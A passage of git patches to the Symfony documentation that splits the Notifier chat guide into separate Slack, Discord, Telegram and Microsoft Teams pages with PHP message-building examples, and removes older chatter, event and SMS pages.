-                ->field('*Min Rating*')
-                ->field('1.0')
-        )
-        ->block($contextBlock)
-    ;
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/slack-footer.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
-
-Sending a Slack Message as a Reply
-----------------------------------
-
-To send your slack message as a reply in a thread use the
-:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('Symfony Feature');
-
-    $options = (new SlackOptions())
-        ->block((new SlackSectionBlock())->text('My reply'))
-        ->threadTs('1621592155.003100')
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($options);
-
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/slack/message-reply.png
-   :align: center
-
-.. versionadded:: 5.3
-
-    The ``threadTs()`` method was introduced in Symfony 5.3.
-
-Adding Interactions to a Discord Message
-----------------------------------------
-
-With a Discord message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
-to add some interactive options called `Embed elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
-    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Discord Embed
-    $discordOptions = (new DiscordOptions())
-        ->username('connor bot')
-        ->addEmbed((new DiscordEmbed())
-            ->color(2021216)
-            ->title('New song added!')
-            ->thumbnail((new DiscordMediaEmbedObject())
-            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Track')
-                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Artist')
-                ->value('Alasdair Fraser')
-                ->inline(true)
-            )
-            ->addField((new DiscordFieldEmbedObject())
-                ->name('Album')
-                ->value('Dawn Dance')
-                ->inline(true)
-            )
-            ->footer((new DiscordFooterEmbedObject())
-                ->text('Added ...')
-                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($discordOptions);
-
-    $chatter->send($chatMessage);
-
-Adding Interactions to a Telegram Message
------------------------------------------
-
-With a Telegram message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
-to add `message options`_::
-
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
-    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
-    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Create Telegram options
-    $telegramOptions = (new TelegramOptions())
-        ->chatId('@symfonynotifierdev')
-        ->parseMode('MarkdownV2')
-        ->disableWebPagePreview(true)
-        ->disableNotification(true)
-        ->replyMarkup((new InlineKeyboardMarkup())
-            ->inlineKeyboard([
-                (new InlineKeyboardButton('Visit symfony.com'))
-                    ->url('https://symfony.com/'),
-            ])
-        );
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($telegramOptions);
-
-    $chatter->send($chatMessage);
-
-Adding text to a Microsoft Teams Message
-----------------------------------------
-
-With a Microsoft Teams, you can use the ChatMessage class::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message.png
-   :align: center
-
-Adding Interactions to a Microsoft Teams Message
-------------------------------------------------
-
-With a Microsoft Teams Message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
-to add `MessageCard options`_::
-
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
-    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-
-    $chatMessage = new ChatMessage('');
-
-    // Action elements
-    $input = new TextInput();
-    $input->id('input_title');
-    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
-
-    $inputDate = new DateInput();
-    $inputDate->title('Proposed date')->id('input_date');
-
-    // Create Microsoft Teams MessageCard
-    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
-        ->title('Symfony Online Meeting')
-        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
-        ->summary('Summary')
-        ->themeColor('#F4D35E')
-        ->section((new Section())
-            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
-            ->fact((new Fact())
-                ->name('Presenter')
-                ->value('Fabien Potencier')
-            )
-            ->fact((new Fact())
-                ->name('Speaker')
-                ->value('Patricia Smith')
-            )
-            ->fact((new Fact())
-                ->name('Duration')
-                ->value('90 min')
-            )
-            ->fact((new Fact())
-                ->name('Date')
-                ->value('TBA')
-            )
-        )
-        ->action((new ActionCard())
-            ->name('ActionCard')
-            ->input($input)
-            ->input($inputDate)
-            ->action((new HttpPostAction())
-                ->name('Add comment')
-                ->target('http://target')
-            )
-        )
-    ;
-
-    // Add the custom options to the chat message and send the message
-    $chatMessage->options($microsoftTeamsOptions);
-    $chatter->send($chatMessage);
-
-The result will be something like:
-
-.. image:: /_images/notifier/microsoft_teams/message-card.png
-   :align: center
-
-.. versionadded:: 5.4
-
-    Options for Microsoft Teams were introduced in Symfony 5.4.
-
-.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
-.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
-.. _`message options`: https://core.telegram.org/bots/api
-.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
diff --git a/notifier/discord.rst b/notifier/discord.rst
new file mode 100644
index 00000000000..a754b69bd74
--- /dev/null
+++ b/notifier/discord.rst
@@ -0,0 +1,58 @@
+.. index::
+    single: Notifier; Chatters
+
+Discord Notifier
+================
+
+Adding Interactions to a Message
+--------------------------------
+
+With a Discord message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Discord\\DiscordOptions` class
+to add some interactive options called `Embed elements`_::
+
+    use Symfony\Component\Notifier\Bridge\Discord\DiscordOptions;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordEmbed;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFieldEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordFooterEmbedObject;
+    use Symfony\Component\Notifier\Bridge\Discord\Embeds\DiscordMediaEmbedObject;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Discord Embed
+    $discordOptions = (new DiscordOptions())
+        ->username('connor bot')
+        ->addEmbed((new DiscordEmbed())
+            ->color(2021216)
+            ->title('New song added!')
+            ->thumbnail((new DiscordMediaEmbedObject())
+            ->url('https://i.scdn.co/image/ab67616d0000b2735eb27502aa5cb1b4c9db426b'))
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Track')
+                ->value('[Common Ground](https://open.spotify.com/track/36TYfGWUhIRlVjM8TxGUK6)')
+                ->inline(true)
+            )
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Artist')
+                ->value('Alasdair Fraser')
+                ->inline(true)
+            )
+            ->addField((new DiscordFieldEmbedObject())
+                ->name('Album')
+                ->value('Dawn Dance')
+                ->inline(true)
+            )
+            ->footer((new DiscordFooterEmbedObject())
+                ->text('Added ...')
+                ->iconUrl('https://upload.wikimedia.org/wikipedia/commons/thumb/1/19/Spotify_logo_without_text.svg/200px-Spotify_logo_without_text.svg.png')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($discordOptions);
+
+    $chatter->send($chatMessage);
+
+.. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
diff --git a/notifier/events.rst b/notifier/events.rst
deleted file mode 100644
index 05a602a3bab..00000000000
--- a/notifier/events.rst
+++ /dev/null
@@ -1,79 +0,0 @@
-.. index::
-    single: Notifier; Events
-
-Using Events
-============
-
-.. versionadded:: 5.4
-
-    The ``MessageEvent``, ``FailedMessageEvent`` and ``SentMessageEvent`` were
-    introduced in Symfony 5.4.
-
-The :class:`Symfony\\Component\\Notifier\\Transport`` class of the Notifier component
-allows you to optionally hook into the lifecycle via events.
-
-The ``MessageEvent::class`` Event
----------------------------------
-
-**Typical Purposes**: Doing something before the message is send (like logging
-which message is going to be send, or displaying something about the event
-to be executed.
-
-Just before send the message, the event class ``MessageEvent`` is
-dispatched. Listeners receive a
-:class:`Symfony\\Component\\Notifier\\Event\\MessageEvent` event::
-
-    use Symfony\Component\Notifier\Event\MessageEvent;
-
-    $dispatcher->addListener(MessageEvent::class, function (MessageEvent $event) {
-        // gets the message instance
-        $message = $event->getMessage();
-
-        // log something
-        $this->logger(sprintf('Message with subject: %s will be send to %s, $message->getSubject(), $message->getRecipientId()'));
-    });
-
-The ``FailedMessageEvent`` Event
---------------------------------
-
-**Typical Purposes**: Doing something before the exception is thrown (Retry to send the message or log additional information).
-
-Whenever an exception is thrown while sending the message, the event class ``FailedMessageEvent`` is
-dispatched. A listener can do anything useful before the exception is thrown.
-
-Listeners receive a
-:class:`Symfony\\Component\\Notifier\\Event\\FailedMessageEvent` event::
-
-    use Symfony\Component\Notifier\Event\FailedMessageEvent;
-
-    $dispatcher->addListener(FailedMessageEvent::class, function (FailedMessageEvent $event) {
-        // gets the message instance
-        $message = $event->getMessage();
-
-        // gets the error instance
-        $error = $event->getError();
-
-        // log something
-        $this->logger(sprintf('The message with subject: %s has not been sent successfully. The error is: %s, $message->getSubject(), $error->getMessage()'));
-    });
-
-
-The ``SentMessageEvent`` Event
-------------------------------
-
-**Typical Purposes**: To perform some action when the message is successfully sent (like retrieve the id returned
-when the message is sent).
-
-After the message has been successfully sent, the event class ``SentMessageEvent`` is
-dispatched. Listeners receive a
-:class:`Symfony\\Component\\Notifier\\Event\\SentMessageEvent` event::
-
-    use Symfony\Component\Notifier\Event\SentMessageEvent;
-
-    $dispatcher->addListener(SentMessageEvent::class, function (SentMessageEvent $event) {
-        // gets the message instance
-        $message = $event->getOriginalMessage();
-
-        // log something
-        $this->logger(sprintf('The message has been successfully sent and have id: %s, $message->getMessageId()'));
-    });
diff --git a/notifier/slack.rst b/notifier/slack.rst
new file mode 100644
index 00000000000..fddeb3a4080
--- /dev/null
+++ b/notifier/slack.rst
@@ -0,0 +1,206 @@
+.. index::
+    single: Notifier; Chatters
+
+Slack Notifier
+==============
+
+Adding Interactions to a Message
+--------------------------------
+
+With a Slack message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
+to add some interactive options called `Block elements`_::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Contribute To Symfony');
+
+    // Create Slack Actions Block and add some buttons
+    $contributeToSymfonyBlocks = (new SlackActionsBlock())
+        ->button(
+            'Improve Documentation',
+            'https://symfony.com/doc/current/contributing/documentation/standards.html',
+            'primary'
+        )
+        ->button(
+            'Report bugs',
+            'https://symfony.com/doc/current/contributing/code/bugs.html',
+            'danger'
+        );
+
+    $slackOptions = (new SlackOptions())
+        ->block((new SlackSectionBlock())
+            ->text('The Symfony Community')
+            ->accessory(
+                new SlackImageBlockElement(
+                    'https://symfony.com/favicons/apple-touch-icon.png',
+                    'Symfony'
+                )
+            )
+        )
+        ->block(new SlackDividerBlock())
+        ->block($contributeToSymfonyBlocks);
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($slackOptions);
+
+    $chatter->send($chatMessage);
+
+Adding Fields and Values to a Message
+-------------------------------------
+
+To add fields and values to your message you can use the
+:method:`SlackSectionBlock::field() <Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackSectionBlock::field>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/field-method.png
+   :align: center
+
+.. versionadded:: 5.1
+
+    The `field()` method was introduced in Symfony 5.1.
+
+Adding a Header to a Message
+----------------------------
+
+To add a header to your message use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackHeaderBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackHeaderBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackHeaderBlock('My Header')))
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-header.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``SlackHeaderBlock`` class was introduced in Symfony 5.3.
+
+Adding a Footer to a Message
+----------------------------
+
+To add a footer to your message use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\Block\\SlackContextBlock` class::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackContextBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $contextBlock = (new SlackContextBlock())
+        ->text('My Context')
+        ->image('https://symfony.com/logos/symfony_white_03.png', 'Symfony Logo')
+    ;
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My message'))
+        ->block(new SlackDividerBlock())
+        ->block(
+            (new SlackSectionBlock())
+                ->field('*Max Rating*')
+                ->field('5.0')
+                ->field('*Min Rating*')
+                ->field('1.0')
+        )
+        ->block($contextBlock)
+    ;
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/slack-footer.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``SlackContextBlock`` class was introduced in Symfony 5.3.
+
+Sending a Message as a Reply
+----------------------------
+
+To send your slack message as a reply in a thread use the
+:method:`SlackOptions::threadTs() <Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions::threadTs>` method::
+
+    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
+    use Symfony\Component\Notifier\Bridge\Slack\SlackOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('Symfony Feature');
+
+    $options = (new SlackOptions())
+        ->block((new SlackSectionBlock())->text('My reply'))
+        ->threadTs('1621592155.003100')
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($options);
+
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/slack/message-reply.png
+   :align: center
+
+.. versionadded:: 5.3
+
+    The ``threadTs()`` method was introduced in Symfony 5.3.
+
+.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
diff --git a/notifier/teams.rst b/notifier/teams.rst
new file mode 100644
index 00000000000..c2756d6baba
--- /dev/null
+++ b/notifier/teams.rst
@@ -0,0 +1,99 @@
+.. index::
+    single: Notifier; Chatters
+
+Microsoft Teams Notifier
+========================
+
+Adding text to a Message
+------------------------
+
+With a Microsoft Teams, you can use the ChatMessage class::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = (new ChatMessage('Contribute To Symfony'))->transport('microsoftteams');
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message.png
+   :align: center
+
+Adding Interactions to a Message
+--------------------------------
+
+With a Microsoft Teams Message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\MicrosoftTeams\\MicrosoftTeamsOptions` class
+to add `MessageCard options`_::
+
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\ActionCard;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\HttpPostAction;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\DateInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Action\Input\TextInput;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsOptions;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\MicrosoftTeamsTransport;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Field\Fact;
+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Action elements
+    $input = new TextInput();
+    $input->id('input_title');
+    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
+
+    $inputDate = new DateInput();
+    $inputDate->title('Proposed date')->id('input_date');
+
+    // Create Microsoft Teams MessageCard
+    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
+        ->title('Symfony Online Meeting')
+        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
+        ->summary('Summary')
+        ->themeColor('#F4D35E')
+        ->section((new Section())
+            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
+            ->fact((new Fact())
+                ->name('Presenter')
+                ->value('Fabien Potencier')
+            )
+            ->fact((new Fact())
+                ->name('Speaker')
+                ->value('Patricia Smith')
+            )
+            ->fact((new Fact())
+                ->name('Duration')
+                ->value('90 min')
+            )
+            ->fact((new Fact())
+                ->name('Date')
+                ->value('TBA')
+            )
+        )
+        ->action((new ActionCard())
+            ->name('ActionCard')
+            ->input($input)
+            ->input($inputDate)
+            ->action((new HttpPostAction())
+                ->name('Add comment')
+                ->target('http://target')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($microsoftTeamsOptions);
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message-card.png
+   :align: center
+
+.. versionadded:: 5.4
+
+    Options for Microsoft Teams were introduced in Symfony 5.4.
+
+.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
diff --git a/notifier/telegram.rst b/notifier/telegram.rst
new file mode 100644
index 00000000000..a76f8a9063f
--- /dev/null
+++ b/notifier/telegram.rst
@@ -0,0 +1,39 @@
+.. index::
+    single: Notifier; Chatters
+
+Telegram Notifier
+=================
+
+Adding Interactions to a Message
+--------------------------------
+
+With a Telegram message, you can use the
+:class:`Symfony\\Component\\Notifier\\Bridge\\Telegram\\TelegramOptions` class
+to add `message options`_::
+
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\Button\InlineKeyboardButton;
+    use Symfony\Component\Notifier\Bridge\Telegram\Reply\Markup\InlineKeyboardMarkup;
+    use Symfony\Component\Notifier\Bridge\Telegram\TelegramOptions;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Create Telegram options
+    $telegramOptions = (new TelegramOptions())
+        ->chatId('@symfonynotifierdev')
+        ->parseMode('MarkdownV2')
+        ->disableWebPagePreview(true)
+        ->disableNotification(true)
+        ->replyMarkup((new InlineKeyboardMarkup())
+            ->inlineKeyboard([
+                (new InlineKeyboardButton('Visit symfony.com'))
+                    ->url('https://symfony.com/'),
+            ])
+        );
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($telegramOptions);
+
+    $chatter->send($chatMessage);
+
+.. _`message options`: https://core.telegram.org/bots/api
diff --git a/notifier/texters.rst b/notifier/texters.rst
deleted file mode 100644
index 4cf9b6f2de2..00000000000
--- a/notifier/texters.rst
+++ /dev/null
@@ -1,52 +0,0 @@
-.. index::
-    single: Notifier; Texters
-
-How to send SMS Messages
-========================
-
-.. versionadded:: 5.0
-
-    The Notifier component was introduced in Symfony 5.0.
-
-The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
-you to send SMS messages::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Component\Notifier\Message\SmsMessage;
-    use Symfony\Component\Notifier\TexterInterface;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class SecurityController
-    {
-        /**
-         * @Route("/login/success")
-         */
-        public function loginSuccess(TexterInterface $texter)
-        {
-            $sms = new SmsMessage(
-                // the phone number to send the SMS message to
-                '+1411111111',
-                // the message
-                'A new login was detected!'
-            );
-
-            $sentMessage = $texter->send($sms);
-
-            // ...
-        }
-    }
-
-The ``send()`` method returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
-information such as the message ID and the original message contents.
-
-.. versionadded:: 5.2
-
-    The ``SentMessage`` class was introduced in Symfony 5.2.
-
-.. seealso::
-
-    Read :ref:`the main Notifier guide <notifier-texter-dsn>` to see how
-    to configure the different transports.

From a671edfd703e7234c5a07eb56fba50977e0a3430 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Jan 2023 12:53:42 +0100
Subject: [PATCH 4166/7107] Minor tweaks

---
 notifier.rst          | 16 +++++++++-------
 notifier/discord.rst  |  4 ++++
 notifier/slack.rst    |  4 ++++
 notifier/teams.rst    |  4 ++++
 notifier/telegram.rst |  4 ++++
 5 files changed, 25 insertions(+), 7 deletions(-)

diff --git a/notifier.rst b/notifier.rst
index 0590c5ae4b6..f94598f6d04 100644
--- a/notifier.rst
+++ b/notifier.rst
@@ -863,10 +863,12 @@ dispatched. Listeners receive a
 The ``FailedMessageEvent`` Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**Typical Purposes**: Doing something before the exception is thrown (Retry to send the message or log additional information).
+**Typical Purposes**: Doing something before the exception is thrown
+(Retry to send the message or log additional information).
 
-Whenever an exception is thrown while sending the message, the event class ``FailedMessageEvent`` is
-dispatched. A listener can do anything useful before the exception is thrown.
+Whenever an exception is thrown while sending the message, the event class
+``FailedMessageEvent`` is dispatched. A listener can do anything useful before
+the exception is thrown.
 
 Listeners receive a
 :class:`Symfony\\Component\\Notifier\\Event\\FailedMessageEvent` event::
@@ -887,11 +889,11 @@ Listeners receive a
 The ``SentMessageEvent`` Event
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-**Typical Purposes**: To perform some action when the message is successfully sent (like retrieve the id returned
-when the message is sent).
+**Typical Purposes**: To perform some action when the message is successfully
+sent (like retrieve the id returned when the message is sent).
 
-After the message has been successfully sent, the event class ``SentMessageEvent`` is
-dispatched. Listeners receive a
+After the message has been successfully sent, the event class ``SentMessageEvent``
+is dispatched. Listeners receive a
 :class:`Symfony\\Component\\Notifier\\Event\\SentMessageEvent` event::
 
     use Symfony\Component\Notifier\Event\SentMessageEvent;
diff --git a/notifier/discord.rst b/notifier/discord.rst
index a754b69bd74..d7315b73f3d 100644
--- a/notifier/discord.rst
+++ b/notifier/discord.rst
@@ -4,6 +4,10 @@
 Discord Notifier
 ================
 
+The Discord Notifier package allows to use Discord via the Symfony Notifier
+component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
+and configuring that component.
+
 Adding Interactions to a Message
 --------------------------------
 
diff --git a/notifier/slack.rst b/notifier/slack.rst
index fddeb3a4080..8904ed6ad34 100644
--- a/notifier/slack.rst
+++ b/notifier/slack.rst
@@ -4,6 +4,10 @@
 Slack Notifier
 ==============
 
+The Slack Notifier package allows to use Slack via the Symfony Notifier
+component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
+and configuring that component.
+
 Adding Interactions to a Message
 --------------------------------
 
diff --git a/notifier/teams.rst b/notifier/teams.rst
index c2756d6baba..b638bfdcc16 100644
--- a/notifier/teams.rst
+++ b/notifier/teams.rst
@@ -4,6 +4,10 @@
 Microsoft Teams Notifier
 ========================
 
+The Microsoft Teams Notifier package allows to use Microsoft Teams via the Symfony
+Notifier component. Read the :doc:`main Notifier docs </notifier>` to learn about
+installing and configuring that component.
+
 Adding text to a Message
 ------------------------
 
diff --git a/notifier/telegram.rst b/notifier/telegram.rst
index a76f8a9063f..0ce6854b7f2 100644
--- a/notifier/telegram.rst
+++ b/notifier/telegram.rst
@@ -4,6 +4,10 @@
 Telegram Notifier
 =================
 
+The Telegram Notifier package allows to use Telegram via the Symfony Notifier
+component. Read the :doc:`main Notifier docs </notifier>` to learn about installing
+and configuring that component.
+
 Adding Interactions to a Message
 --------------------------------
 

From 79464746492929bbc16920ef704cdff445800ff8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 23 Jan 2023 15:28:28 +0100
Subject: [PATCH 4167/7107] [Notifier] Remove an unused file

---
 notifier/chatters.rst | 449 ------------------------------------------
 1 file changed, 449 deletions(-)
 delete mode 100644 notifier/chatters.rst

diff --git a/notifier/chatters.rst b/notifier/chatters.rst
deleted file mode 100644
index c275c4683e6..00000000000
--- a/notifier/chatters.rst
+++ /dev/null
@@ -1,449 +0,0 @@
-.. index::
-    single: Notifier; Chatters
-
-How to send Chat Messages
-=========================
-
-The :class:`Symfony\\Component\\Notifier\\ChatterInterface` class allows
-you to send messages to chat services like Slack or Telegram::
-
-    // src/Controller/CheckoutController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\Notifier\ChatterInterface;
-    use Symfony\Component\Notifier\Message\ChatMessage;
-    use Symfony\Component\Routing\Annotation\Route;
-
-    class CheckoutController extends AbstractController
-    {
-        #[Route('/checkout/thankyou')]
-        public function thankyou(ChatterInterface $chatter)
-        {
-            $message = (new ChatMessage('You got a new invoice for 15 EUR.'))
-                // if not set explicitly, the message is sent to the
-                // default transport (the first one configured)
-                ->transport('slack');
-
-            $sentMessage = $chatter->send($message);
-
-            // ...
-        }
-    }
-
-The ``send()`` method returns a variable of type
-:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides
-information such as the message ID and the original message contents.
-
-.. seealso::
-
-    Read :ref:`the main Notifier guide <notifier-chatter-dsn>` to see how
-    to configure the different transports.
-
-Adding Interactions to a Slack Message
---------------------------------------
-
-With a Slack message, you can use the
-:class:`Symfony\\Component\\Notifier\\Bridge\\Slack\\SlackOptions` class
-to add some interactive options called `Block elements`_::
-
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackActionsBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackDividerBlock;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackImageBlockElement;
-    use Symfony\Component\Notifier\Bridge\Slack\Block\SlackSectionBlock;
